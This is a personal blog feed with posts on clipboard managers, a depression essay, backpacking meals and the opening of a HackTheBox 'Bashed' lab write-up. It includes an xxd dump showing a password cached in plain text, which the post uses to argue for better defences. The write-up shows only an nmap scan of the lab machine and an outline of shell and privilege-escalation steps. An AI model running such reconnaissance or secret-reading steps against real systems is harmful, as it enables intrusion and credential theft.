Jekyll2024-01-23T01:44:46-08:00https://alichtman.github.io/feed.xmlBits and PiecesSoftware / security engineering blog. Also some discussion about rocks.Aaron LichtmanSane Behavior for OS Clipboards2024-01-13T01:56:30-08:002024-01-13T01:56:30-08:00https://alichtman.github.io/blog/os-clipboards<p class="notice--info">An easily searchable clipboard manager that retains extended history, and has a semantic understanding of the data it’s copying, is a part of key workflows; and should be configured by default.</p>
<h2 id="where-does-it-hurt">Where does it hurt?</h2>
<p><a href="/assets/images/where-does-it-hurt-clipboard.jpg" class="align-center"><img src="/assets/images/where-does-it-hurt-clipboard.jpg" alt="where does it hurt" /></a></p>
<p>I expect system clipboards to do <strong>one thing – store text and let me paste it later</strong>. If you’re counting along and got two things, you are <em>off-by-one</em>. This is one of the <a href="https://martinfowler.com/bliki/TwoHardThings.html">two hard problems in CS</a>.</p>
<p>For reasons I will never understand, the default <code class="language-plaintext highlighter-rouge">macOS</code> and <code class="language-plaintext highlighter-rouge">linux</code> clipboards hold a max of one (1) item.</p>
<h2 id="this-sucks-lets-walk-through-why">This sucks! Let’s walk through why…</h2>
<p>Imagine you are copying two sections from <code class="language-plaintext highlighter-rouge">File 1</code> to <code class="language-plaintext highlighter-rouge">File 2</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌────────────────────────────────────┐ ┌─────────────────────────┐
│ File 1 │ │ File 2 │
├────────────────────────────────────┤ ├─────────────────────────┤
│ First section to copy │ ────────> │ First section to copy │
│ You don't care about this section │ │ Second section to copy │
│ Second section to copy │ └─────────────────────────┘
└────────────────────────────────────┘
</code></pre></div></div>
<p>You open VS Code (we’ll ignore <code class="language-plaintext highlighter-rouge">vim</code> workflows for this example, since you can use registers as a clipboard manager), and split the screen vertically: <code class="language-plaintext highlighter-rouge">File 1</code> on the left, <code class="language-plaintext highlighter-rouge">File 2</code> on the right.</p>
<ol>
<li>Copy the first section from <code class="language-plaintext highlighter-rouge">File 1</code>
<ul>
<li>Drag cursor to select text (or click and use <code class="language-plaintext highlighter-rouge">Shift+Arrows</code>)</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-C</code></li>
</ul>
</li>
<li>Paste it into <code class="language-plaintext highlighter-rouge">File 2</code>
<ul>
<li>Change file focus, and place cursor where you want to paste</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-V</code></li>
</ul>
</li>
<li>Copy the second section from <code class="language-plaintext highlighter-rouge">File 1</code>
<ul>
<li>Change file focus <strong>again</strong>, and select text</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-C</code></li>
</ul>
</li>
<li>Paste it into <code class="language-plaintext highlighter-rouge">File 2</code>
<ul>
<li>Change file focus <strong>yet again</strong></li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-V</code></li>
</ul>
</li>
</ol>
<p>You’re done – but you had to change file focus <strong>three times</strong>. That’s two more times than you should have to.</p>
<h2 id="what-should-happen">What *should* happen?</h2>
<p>With a clipboard that retained your copy history, the workflow could be:</p>
<ol>
<li>Copy the first section from <code class="language-plaintext highlighter-rouge">File 1</code>
<ul>
<li>Select text</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-C</code></li>
</ul>
</li>
<li>Copy the second section from <code class="language-plaintext highlighter-rouge">File 1</code>
<ul>
<li>Select text</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-C</code></li>
</ul>
</li>
<li>Paste both sections into <code class="language-plaintext highlighter-rouge">File 2</code>
<ul>
<li>Change file focus</li>
<li><code class="language-plaintext highlighter-rouge">Ctrl-V</code></li>
<li>Open clipboard history, select item at index 1<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>, and paste again</li>
</ul>
</li>
</ol>
<h2 id="moving-at-the-speed-of-thought-vim-and-tmux">Moving at the speed of thought: <code class="language-plaintext highlighter-rouge">vim</code> and <code class="language-plaintext highlighter-rouge">tmux</code></h2>
<p class="notice--primary">If you read this section, and your eyes glaze over, don’t worry! Skip to <a href="#clipboard-manager-setup">Clipboard Manager Setup</a> and come back to <code class="language-plaintext highlighter-rouge">vim</code> some other time :) You will get a bunch of value out of this post anyways.</p>
<p class="notice--info">You can perform the above task in <code class="language-plaintext highlighter-rouge">vim</code> using the default settings, without ever taking your hands off the keyboard. You’ll <del>break things</del> <strong>build stable infra</strong> faster by learning CLI / modal-editing workflows (and obsessing over <a href="https://github.com/alichtman/dotfiles"><code class="language-plaintext highlighter-rouge">nvim</code> and <code class="language-plaintext highlighter-rouge">tmux</code> configs</a>).</p>
<p class="small"><a href="/assets/images/move-fast.webp" class="align-center"><img src="/assets/images/move-fast.webp" alt="break things faster" /></a>
<cite><a href="https://medium.com/swlh/move-fast-and-break-things-is-not-dead-8260b0718d90">Image attributed to Facebook</a></cite></p>
<p>Although, what limits me is definitely not the speed at which I can operate my computer. If only it were as straightforward to type <em>better things</em> as it is to <em>type things faster</em> :)</p>
<h3 id="vim-workflow"><code class="language-plaintext highlighter-rouge">vim</code> Workflow</h3>
<p>Here’s a <code class="language-plaintext highlighter-rouge">vim</code> workflow that doesn’t require a clipboard manager (using <a href="https://learnvim.irian.to/basics/registers"><code class="language-plaintext highlighter-rouge">vim</code> registers</a> instead):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Open the first file
$ vim file1.txt
# Move cursor to the first character (0) of the first line (gg) -- which is F
gg0
# Yank the line (yy) into the a register ("a)
"ayy
# Go down two lines
2j
# Yank the second line (yy) into the b register ("b)
"byy
# Open the second file in a vertical split (vs)
:vs file2.txt
# Move focus (Ctrl-w) to next window (l)
Ctrl-w l
# Paste (p) the a register ("a)
"ap
# Add a newline (o) and immediately go back to normal mode (<ESC>)
o<ESC>
# Paste (p) the b register ("b)
"bp
# Save the file (:w) and quit (:q)
:wq
</code></pre></div></div>
<p>Registers are awesome for working <em>inside</em> of <code class="language-plaintext highlighter-rouge">vim</code> but aren’t exposed <em>outside</em> of <code class="language-plaintext highlighter-rouge">vim</code>. This means we can’t use them as the clipboard manager, even though they roughly have the behavior I’m looking for. Here’s a peek at what’s currently in my <code class="language-plaintext highlighter-rouge">vim</code> registers while I’m working on this article.</p>
<ul>
<li>The register name is on the left</li>
<li>Its content is displayed in the middle</li>
<li>Some of them have nice descriptions on the right</li>
</ul>
<p class="small"><a href="/assets/images/vim-registers.png" class="align-center"><img src="/assets/images/vim-registers.png" alt="vim registers" /></a>
<cite>You can click on the image to make it larger</cite></p>
<p>There are two special registers for the system clipboard, called <a href="https://learnvim.irian.to/basics/registers#the-selection-registers">selection registers</a>. If you want to copy text from inside <code class="language-plaintext highlighter-rouge">vim</code> and paste it outside of <code class="language-plaintext highlighter-rouge">vim</code>, you need to copy to them explicitly (<code class="language-plaintext highlighter-rouge">"+y</code>). For more reasons I will never understand, copying to the system clipboard isn’t the default copy behavior.</p>
<p><a href="https://vim.fandom.com/wiki/Accessing_the_system_clipboard">Tell <code class="language-plaintext highlighter-rouge">vim</code> to copy to the system clipboard by default</a> by adding the following setting in your <code class="language-plaintext highlighter-rouge">init.lua</code> file:</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">vim</span><span class="p">.</span><span class="n">opt</span><span class="p">.</span><span class="n">clipboard</span> <span class="o">=</span> <span class="s2">"unnamedplus"</span>
</code></pre></div></div>
<p>After doing that, the workflow becomes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Open the first file
$ vim file1.txt
gg0
# Copy line to system clipboard
yy
2j
yy
:vs file2.txt
Ctrl-w l
# Paste from system clipboard register
p
# Open the clipboard manager -- read the next section!
Shift-Alt-Super-V
# Set the clipboard to the second-to-last item in the clipboard history
Down Arrow
# Paste from clipboard
p
:wq
</code></pre></div></div>
<p>Which is … pretty slick. If (when) you become a <code class="language-plaintext highlighter-rouge">vim</code> addict, you’ll be able to do this without thinking about it.</p>
<h3 id="tmux"><code class="language-plaintext highlighter-rouge">tmux</code></h3>
<p>To make <code class="language-plaintext highlighter-rouge">tmux</code> and the system clipboard play nicely together, I use <a href="https://github.com/tmux-plugins/tmux-yank"><code class="language-plaintext highlighter-rouge">tmux-yank</code></a> in my <a href="https://github.com/alichtman/dotfiles/blob/main/.config/tmux/tmux.conf#L197"><code class="language-plaintext highlighter-rouge">tmux.conf</code></a>.</p>
<h2 id="clipboard-manager-setup">Clipboard Manager Setup</h2>
<p>Now that <code class="language-plaintext highlighter-rouge">vim</code> and <code class="language-plaintext highlighter-rouge">tmux</code> are hooked up to the system clipboard, I need to set up the clipboard manager to keep track of the history, searching, etc. I primarily work on <code class="language-plaintext highlighter-rouge">macOS</code> and <code class="language-plaintext highlighter-rouge">Linux</code> machines, and have a clipboard manager workflow for each.</p>
<h3 id="clipboard-manager-requirements">Clipboard Manager Requirements</h3>
<ul>
<li>Efficient clipboard history storage and retrieval</li>
<li>User-friendly and searchable clipboard history</li>
<li>Media (images/videos) support in the clipboard
<ul>
<li>Optional media preview</li>
</ul>
</li>
<li>Consistent keychord for the clipboard manager across all OSes
<ul>
<li>Unique keybinding to avoid conflicts with other tools</li>
</ul>
</li>
</ul>
<h3 id="keychord-configuration">Keychord Configuration</h3>
<p>I set the <code class="language-plaintext highlighter-rouge">macOS</code> keychord to <code class="language-plaintext highlighter-rouge">Shift+Cmd+Option+V</code> and the Linux keychord to <code class="language-plaintext highlighter-rouge">Shift+Alt+Super+V</code>.</p>
<p>You might be thinking: <em>“Man, you literally just said you wanted to use the same keychords on every system”</em>. I use a <a href="https://www.amazon.com/Razer-Ornata-Gaming-Keyboard-Spill-Resistant/dp/B09X6FKCBD">Razer Chroma Ornata</a> keyboard for my Linux machine, and the built-in Apple Keyboard for my macOS machine. <strong>The keychords are identical in terms of where the keys are on the keyboards</strong>, so my muscle memory works no matter which system I’m on.</p>
<h3 id="ubuntu-linux-with-gnome">Ubuntu Linux (with GNOME)</h3>
<p>I use <a href="https://github.com/erebe/greenclip"><code class="language-plaintext highlighter-rouge">greenclip</code></a> integrated with <a href="https://github.com/davatorium/rofi"><code class="language-plaintext highlighter-rouge">rofi</code></a> to manage my clipboard history. Note that it does not provide media previews, and can only handle <a href="https://github.com/erebe/greenclip#faq">small images</a>. If that’s a critical feature set, check out <a href="https://github.com/oae/gnome-shell-pano">Pano</a>.</p>
<p><a href="/assets/images/rofi-greenclip.jpg" class="align-center"><img src="/assets/images/rofi-greenclip.jpg" alt="greenclip" /></a></p>
<p>Using GNOME Keyboard Custom Shortcuts, I map <code class="language-plaintext highlighter-rouge">rofi -modi 'clipboard:~/bin/greenclip print' -show clipboard</code> to the keychord I mentioned above.</p>
<p><img src="/assets/images/gnome-clipboard-shortcut.png" alt="gnome keyboard shortcuts" class="align-center" /></p>
<h3 id="macos">macOS</h3>
<p>I install <a href="https://github.com/p0deje/Maccy"><code class="language-plaintext highlighter-rouge">Maccy</code></a> with <code class="language-plaintext highlighter-rouge">brew</code>. It’s a performant, free and open-source, native macOS app that is intuitive to use.</p>
<figure>
<img src="/assets/images/maccy.png" alt="maccy" />
<figcaption>
It leaves you wondering: Why hasn’t Apple shipped this as part of the core OS?
</figcaption>
</figure>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">macOS</code> has a reputation for <strong>Just Working™</strong></p>
</li>
<li>
<p>The <code class="language-plaintext highlighter-rouge">macOS</code> clipboard manager <strong>does NOT Just Work™</strong></p>
</li>
</ul>
<p>Interesting note: <code class="language-plaintext highlighter-rouge">Cut / Copy / Paste</code> was <a href="http://worrydream.com/refs/Tesler%20-%20A%20Personal%20History%20of%20Modeless%20Text%20Editing%20and%20Cut-Copy-Paste.pdf">invented by Larry Tesler</a> in the 70s. Tesler became the systems software lead for the Apple Lisa, and eventually Apple’s chief scientist in 1993.</p>
<h3 id="windows">Windows</h3>
<p>Surprisingly, <code class="language-plaintext highlighter-rouge">Windows</code> seems to be the only OS that gets this part right. The default clipboard manager has a built-in clipboard history. However, the default file manager (in <strong>2024!!!</strong>) still reports all file sizes in <code class="language-plaintext highlighter-rouge">KB</code>, so rest assured that there is plenty left to complain about.</p>
<h2 id="sane-defaults">Sane Defaults</h2>
<p>It’s <em>great</em> that I can make this all work. But it’s kind of ridiculous that I need to configure it myself. I consider these features to be <strong>basic functionality</strong> that should be configured by default.</p>
<p>Jeff Atwood (Stack Overflow co-founder) had similar things to say about the Windows Vista introduction of <a href="https://blog.codinghorror.com/typing-trumps-pointing/">typing to search for files, executables, emails, etc in the Start Menu</a>:</p>
<blockquote>
<p>… with Vista, typing to navigate is now quite literally the cornerstone of the operating system. I’ve gone from tedious, manually defined hotkeys and shortcuts in Windows XP to simply typing what I want and letting the computer find it for me. It also utterly obsoletes the Start, Run menu because it works for file paths.</p>
<p>There are dozens of third-party solutions that deliver very similar interactive full-text search UI experiences. But <strong>there’s one key difference between those solutions and the one in Vista: I have to install them</strong>. You may argue that, in the near term, I also have to install Vista. Fair enough. But over the next five years, millions of users will buy computers with Vista pre-installed. And they’ll immediately benefit from the built-in, default full-text search UI that’s accessible right out of the box with a single press of the Windows key.</p>
</blockquote>
<p class="small"><a href="https://blog.codinghorror.com/the-power-of-defaults/"><cite>Jeff Atwood</cite> — <strong>“The Power of Defaults”</strong></a>, 2007</p>
<p>I wish macOS and GNOME provided these clipboard manager features by default – <em>batteries included</em>. More people would use them, and the effort to figure out how to nicely build and integrate these features wouldn’t be duplicated by me and other engineers.</p>
<h2 id="some-security-issues-with-the-clipboard-manager-experience">Some Security Issues with the Clipboard Manager Experience</h2>
<p>I’d love to see clipboard managers provide first class support for sensitive strings (passwords, SSNs, SSH private keys, etc). The current <em>“all text in the clipboard is equal”</em> approach has a few flaws:</p>
<ol>
<li>
<p>Imagine you get toast confirmations when you copy a string. If you are streaming your desktop somewhere and you copy a password from a password manager, the toast will leak your password.</p>
</li>
<li>
<p>Some clipboard managers provide a <a href="https://github.com/p0deje/Maccy#ignore-copied-items">“private mode” command</a> to stop clipboard history logging for a period of time. If you forget to turn it on, or your clipboard manager doesn’t support this, you’re forced to clear the entire clipboard history to remove sensitive strings.</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">greenclip</code> doesn’t have this feature, and also does not let you delete individual history lines easily. You can only clear the entire clipboard history. I’d add the feature, but it’s written in Haskell, and I’d rather rewrite it in … literally any other language</li>
</ul>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">greenclip</code> will happily write your copied password to the clipboard manager cache file, where it can be read by any program running with your user permissions. This problem is not really unique to <code class="language-plaintext highlighter-rouge">greenclip</code>. I’m just using it as an example since it’s what I use.</p>
</li>
</ol>
<p>I’ll demonstrate this with a password copied from <a href="https://1password.com/"><code class="language-plaintext highlighter-rouge">1Password</code></a>.</p>
<p><img src="/assets/images/1password.png" alt="" class="align-center" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lah</span> <span class="nv">$XDG_CACHE_HOME</span>/greenclip.history
.rw------- alichtman alichtman 6.2 KB Sun Jan 14 2024 02:57:41 PM /home/alichtman/.cache/greenclip.history
<span class="nv">$ </span>xxd <span class="nt">-l</span> 200 <span class="nv">$XDG_CACHE_HOME</span>/greenclip.history
00000000: 0000 0000 0000 0064 0000 0000 0000 0000 .......d........
00000010: 0000 0000 0000 0000 1531 7061 7373 776f .........1passwo
00000020: 7264 5465 7374 5061 7373 776f 7264 0000 rdTestPassword..
00000030: 0000 0000 0000 0000 0000 0000 0000 1531 ...............1
00000040: 7061 7373 776f 7264 5465 7374 5573 6572 passwordTestUser
00000050: 6e61 6d65 0000 0000 0000 0000 0000 0000 name............
00000060: 0000 0000 5359 6f75 2061 7265 2065 6974 ....SYou are eit
00000070: 6865 7220 7265 7370 6f6e 7369 626c 6520 her responsible
00000080: 666f 7220 636c 6561 7269 6e67 2074 6865 <span class="k">for </span>clearing the
00000090: 2063 6163 6865 206f 6e20 796f 7572 206f cache on your o
000000a0: 776e 2028 6024 2067 7265 656e 636c 6970 wn <span class="o">(</span><span class="sb">`</span><span class="nv">$ </span>greenclip
000000b0: 2063 6c65 6172 6029 0000 0000 0000 0000 clear<span class="sb">`</span><span class="o">)</span>........
000000c0: 0000 0000 0000 0000 ........
</code></pre></div></div>
<p>The test username and test password are clearly seen in the first <code class="language-plaintext highlighter-rouge">50B</code> of the file. You are either responsible for clearing the cache on your own (<code class="language-plaintext highlighter-rouge">$ greenclip clear</code>) or waiting for the sensitive string to get paged out of the cache (the default is 50 copied items).</p>
<p>In addition to the <a href="https://attack.mitre.org/techniques/T1115/">clipboard text being sniffable by any application that can run as you</a>, it’s just not great to leave sensitive data sitting around unencrypted.</p>
<p>The native <code class="language-plaintext highlighter-rouge">macOS</code> clipboard doesn’t suffer from the same issue that <code class="language-plaintext highlighter-rouge">greenclip</code> does since it only remembers one item. A short time after copying a password to the clipboard, many password managers will copy an empty string – effectively removing the sensitive data from the clipboard.</p>
<h3 id="how-could-schematized-clipboard-data-help">How Could Schematized Clipboard Data Help?</h3>
<p><strong>I want my clipboard to understand what kind of data it’s holding.</strong></p>
<p>If I copy an SSH private key and go to paste it into a GitHub comment, I want my clipboard manager to go:</p>
<p><img src="/assets/gifs/you-sure-about-that.gif" alt="you sure about that?" class="align-center" /></p>
<p>Or if I copy my Google password out of 1Password and <a href="https://attack.mitre.org/techniques/T1115/">some random app tries to read the clipboard</a>:</p>
<p><img src="/assets/images/no-clipboard-meme.jpg" alt="no clipboard for you" class="align-center" /></p>
<p>Or maybe you want to lock down what programs can write to your clipboard when you <a href="https://www.bleepingcomputer.com/news/security/new-clipboard-hijacker-replaces-crypto-wallet-addresses-with-lookalikes/">copy a bitcoin address</a>.</p>
<p>There seems to be a lot of opportunity here.</p>
<h3 id="what-a-schematized-clipboard-protocol-could-look-like">What a Schematized Clipboard Protocol Could Look Like</h3>
<p>Clients (like 1Password, or other password managers) would send their passwords to the clipboard with something like the following format:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Data to be copied to the clipboard"</span><span class="p">,</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="err">ClipboardDataType.PASSWORD</span><span class="w">
</span><span class="nl">"magicString"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0xSOMEMAGIC"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Clipboard managers would attempt to parse every copied string into this format. If it fails to parse properly, the clipboard manager will assume that it’s raw text and treat it as such. The only edge case here is where you’re copying a string that matches this format, but is really meant to be raw text (like if you copied the <code class="language-plaintext highlighter-rouge">JSON</code> blob above.)</p>
<p><code class="language-plaintext highlighter-rouge">ClipboardDataType</code> might look something like:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">enum</span> <span class="nx">ClipboardDataType</span> <span class="p">{</span>
<span class="nx">PASSWORD</span><span class="p">,</span>
<span class="nx">SSH_KEY</span><span class="p">,</span>
<span class="nx">UNSENSITIVE</span><span class="p">,</span>
<span class="nx">SENSITIVE_GENERIC</span><span class="p">,</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>It would be great to then be able to configure what datatypes can go where, and what kind of limitations you want to enable. For example, “never let me paste an SSH key into Discord”.</p>
<h2 id="thanks">Thanks</h2>
<ul>
<li><a href="https://gr.ht/"><code class="language-plaintext highlighter-rouge">grht</code></a> for providing feedback on this post.</li>
</ul>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>Since all (useful) clipboards will store history using a stack, the last item (located at index 0) copied will be pasted when you press <code class="language-plaintext highlighter-rouge">Ctrl-V</code>. The item at index 1 will be the second-to-last thing you copied, and so on. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Aaron LichtmanAn easily searchable clipboard manager that retains extended history, and has a semantic understanding of the data it’s copying, is a part of key workflows; and should be configured by default.When you have depression, it’s like it snows every day.2023-02-27T12:34:30-08:002023-02-27T12:34:30-08:00https://alichtman.github.io/shoveling<p class="small"><img src="/assets/images/snow/snow3.jpg" alt="" />
<cite>AI artwork from <a href="https://www.artstation.com/artwork/WBQEEN">here</a></cite></p>
<blockquote>
<p>I found this post <a href="https://www.reddit.com/r/AskReddit/comments/8pks1u/suicide_prevention_megathread/e0cbafs/">on Reddit</a> originally. It’s one of the best descriptions of depression I’ve ever read. As things on the internet tend to disappear, here’s a copy:</p>
</blockquote>
<p>When you have depression, it’s like it snows every day.</p>
<p>Some days it’s only a couple of inches. It’s a pain in the ass, but you still make it to work, the grocery store. Sure, maybe you skip the gym or your friend’s birthday party, but it IS still snowing and who knows how bad it might get tonight. Probably better to just head home. Your friend notices, but probably just thinks you are flaky now, or kind of an asshole.</p>
<p>Some days it snows a foot. You spend an hour shoveling out your driveway and are late to work. Your back and hands hurt from shoveling. You leave early because it’s really coming down out there. Your boss notices.</p>
<p>Some days it snows four feet. You shovel all morning but your street never gets plowed. You are not making it to work, or anywhere else for that matter. You are so sore and tired you just get back in the bed. By the time you wake up, all your shoveling has filled back in with snow. Looks like your phone rang; people are wondering where you are. You don’t feel like calling them back, too tired from all the shoveling. Plus they don’t get this much snow at their house so they don’t understand why you’re still stuck at home. They just think you’re lazy or weak, although they rarely come out and say it.</p>
<p>Some weeks it’s a full-blown blizzard. When you open your door, it’s to a wall of snow. The power flickers, then goes out. It’s too cold to sit in the living room anymore, so you get back into bed with all your clothes on. The stove and microwave won’t work so you eat a cold Pop Tart and call that dinner. You haven’t taken a shower in three days, but how could you at this point? You’re too cold to do anything except sleep.</p>
<p>Sometimes people get snowed in for the winter. The cold seeps in. No communication in or out. The food runs out. What can you even do, tunnel out of a forty foot snow bank with your hands? How far away is help? Can you even get there in a blizzard? If you do, can they even help you at this point? Maybe it’s death to stay here, but it’s death to go out there too.</p>
<p>The thing is, when it snows all the time, you get worn all the way down. You get tired of being cold. You get tired of hurting all the time from shoveling, but if you don’t shovel on the light days, it builds up to something unmanageable on the heavy days. You resent the hell out of the snow, but it doesn’t care, it’s just a blind chemistry, an act of nature. It carries on regardless, unconcerned and unaware if it buries you or the whole world.</p>
<p>Also, the snow builds up in other areas, places you can’t shovel, sometimes places you can’t even see. Maybe it’s on the roof. Maybe it’s on the mountain behind the house. Sometimes, there’s an avalanche that blows the house right off its foundation and takes you with it. A veritable Act of God, nothing can be done. The neighbors say it’s a shame and they can’t understand it; he was doing so well with his shoveling.</p>
<p>I don’t know how it went down for Anthony Bourdain or Kate Spade. It seems like they got hit by the avalanche, but it could’ve been the long, slow winter. Maybe they were keeping up with their shoveling. Maybe they weren’t. Sometimes, shoveling isn’t enough anyway. It’s hard to tell from the outside, but it’s important to understand what it’s like from the inside.</p>
<p>I firmly believe that understanding and compassion have to be the base of effective action. It’s important to understand what depression is, how it feels, what it’s like to live with it, so you can help people both on an individual basis and a policy basis. I’m not putting heavy shit out here to make your Friday morning suck. I know it feels gross to read it, and realistically it can be unpleasant to be around it, that’s why people pull away.</p>
<p>I don’t have a message for people with depression like “keep shoveling”. It’s asinine. Of course you’re going to keep shoveling the best you can, until you physically can’t, because who wants to freeze to death inside their own house? We know what the stakes are. My message is to everyone else. Grab a fucking shovel and help your neighbor. Slap a mini snow plow on the front of your truck and plow your neighborhood. Petition the city council to buy more salt trucks, so to speak.</p>
<p>Depression is blind chemistry and physics, like snow. And like the weather, it is a mindless process, powerful and unpredictable with great potential for harm. But like climate change, that doesn’t mean we are helpless. If we want to stop losing so many people to this disease, it will require action at every level.</p>Aaron LichtmanAI artwork from hereBackpacking Meals2023-01-15T01:56:30-08:002023-01-15T01:56:30-08:00https://alichtman.github.io/blog/backpacking-meals<p class="notice--info">Freeze-dried meals that taste good.</p>
<p><img src="/assets/images/adventure-meals.jpg" alt="adventure Meals" /></p>
<blockquote>
<p>This is mostly a note-to-self. I thought it would be useful to make this easily accessible (and now it lives on my website)</p>
</blockquote>
<p>Freeze dried meals aren’t very difficult to make. The challenge is finding the ones that taste good. Once you do, making them is easy. You boil some water on a backpacking stove (<a href="https://www.msrgear.com/stoves/stove-systems/windburner-personal-stove-system/windburner.html">MSR Windburner</a>), pour some boiling water into the meal bag, mix, and wait. There’s an officially recommended amount of water to use for each meal on the side of the bag. I’ve tried a bunch of meals; sometimes the suggested water to food ratio seems <em>wildly off</em>.</p>
<p>Here are the meals I like, and how much water I use for them:</p>
<ul>
<li><a href="https://www.amazon.com/Mountain-House-Backpacking-Emergency-Gluten-Free/dp/B084NW22VN?th=1">Mountain House Pad Thai with Chicken</a>
<ul>
<li>I follow the official recommendation: 1 and 1/3 cup</li>
<li>This meal is by far my favorite and I could eat 4 or 5 of them over the course of a few days before I get sick of it.</li>
</ul>
</li>
<li><a href="https://www.rei.com/product/188956/trailtopia-blueberry-oatmeal-1-serving">Trailtopia Blueberry Oatmeal</a>
<ul>
<li>The official recommendation is 3/4 cup - 1 cup. 1 cup was pretty soupy. I think there is a better texture with 3/4 cups of water.</li>
<li>Taste is alright. Could use a little extra sugar.</li>
</ul>
</li>
<li><a href="https://www.amazon.com/Peak-Refuel-Chicken-Teriyaki-Backpacking/dp/B07BQYXWX1?th=1">Peak Refuel Chicken Teriyaki Rice</a>
<ul>
<li>Suggested ratio works.</li>
<li>Not as good as the Mountain House Pad Thai, but not bad!</li>
</ul>
</li>
<li><a href="https://www.rei.com/product/184159/mountain-house-chicken-rice-pro-pak-1-serving">ProPak Chicken & Rice</a>
<ul>
<li>Slightly less than the suggested ratio – 1.25 cups</li>
<li>It’s alright! I guess. Nice quantity of food.</li>
</ul>
</li>
<li><a href="https://www.rei.com/product/200704/good-to-go-chicken-pho">Good To-Go Chicken Pho</a>
<ul>
<li>I make this as a noodle dish, not a soup.</li>
<li>Used ~250mL of water for the double serving while in Seattle. Probably need a bit more water at elevation.</li>
</ul>
</li>
<li><a href="https://www.rei.com/product/192147/firepot-porcini-mushroom-risotto-2-servings">Firepot Porcini Mushroom Risotto</a>
<ul>
<li>Pretty good. Probably needs to be stirred a few minutes in to making it.</li>
<li>Water suggestion is fairly accurate.</li>
</ul>
</li>
<li><a href="https://www.rei.com/product/188960/trailtopia-gluten-free-ramen-noodles-with-chicken-flavor-and-broccoli-1-serving">Trailtopia Ramen Noodles with Chicken Flavor and Broccoli</a>
<ul>
<li>Tastes decent. Not a ton of food.</li>
<li>Water suggestion is accurate.</li>
</ul>
</li>
</ul>
<p><em>more to come…</em></p>
<p>While I’m on the topic of backpacking meals: <a href="https://www.amazon.com/Premium-Single-Serve-Ethically-Specialty-Eco-Friendly/dp/B09MHD4FNR/ref=sr_1_6?keywords=Kuju+Coffee+Pocket+Pour+Over&qid=1673852259&sr=8-6">Kuju pour-over coffee</a> is awesome. One pour-over packet makes ~8-12oz of coffee. The <a href="https://www.yeti.com/drinkware/mugs/mug-14oz.html">Yeti Rambler 14oz</a> mugs are normally my “indestructible mug” of choice, but they are a bit too wide for the coffee packet to sit nicely on. A mug with a smaller opening would do a better job. I haven’t wanted to buy a different mug, so I just make sure it doesn’t fall in by holding it. It would be super cool to not have to do that though.</p>Aaron LichtmanFreeze-dried meals that taste good.HackTheBox – Bashed2020-04-21T02:56:30-07:002020-04-21T02:56:30-07:00https://alichtman.github.io/hack-the-box/hack-the-box-bashed<p>Find a leftover shell on a development server and use that to pick up a reverse shell. Then, privilege escalate to by abusing a bad <code class="language-plaintext highlighter-rouge">sudo</code> configuration, and then escalate to <code class="language-plaintext highlighter-rouge">root</code> using a <code class="language-plaintext highlighter-rouge">cronjob</code>.</p>
<p><img src="/assets/images/HackTheBox/bashed.png" alt="bashed" /></p>
<h3 id="summary">Summary</h3>
<h3 id="enumeration">Enumeration</h3>
<p>Let’s kick this off with a standard <code class="language-plaintext highlighter-rouge">nmap</code> scan.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-sCV</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> bashed-nmap 10.10.10.68
<span class="c"># Nmap 7.80 scan initiated Thu Apr 2 06:16:17 2020 as: nmap -sCV -vvv -oA bashed-nmap 10.10.10.68</span>
Nmap scan report <span class="k">for </span>10.10.10.68
Host is up, received syn-ack <span class="o">(</span>0.046s latency<span class="o">)</span><span class="nb">.</span>
Scanned at 2020-04-02 06:16:17 CDT <span class="k">for </span>9s
Not shown: 999 closed ports
Reason: 999 conn-refused
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Arrexel<span class="s1">'s Development Site
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 2 06:16:26 2020 -- 1 IP address (1 host up) scanned in 8.61 seconds
</span></code></pre></div></div>
<p>So the only thing we see is a webserver on port 80 running <code class="language-plaintext highlighter-rouge">Apache httpd 2.4.18</code>, and we know it’s an <code class="language-plaintext highlighter-rouge">Ubuntu</code> server.</p>
<p>Let’s open a browser and navigate to <code class="language-plaintext highlighter-rouge">http://10.10.10.68</code> and see what’s there. We see a site with some references to developing a version of bash written in <code class="language-plaintext highlighter-rouge">PHP</code>. Nothing immediately obvious as to what to do. Let’s take a look at the source code. Nothing there either.</p>
<p>Time for a directory search.</p>
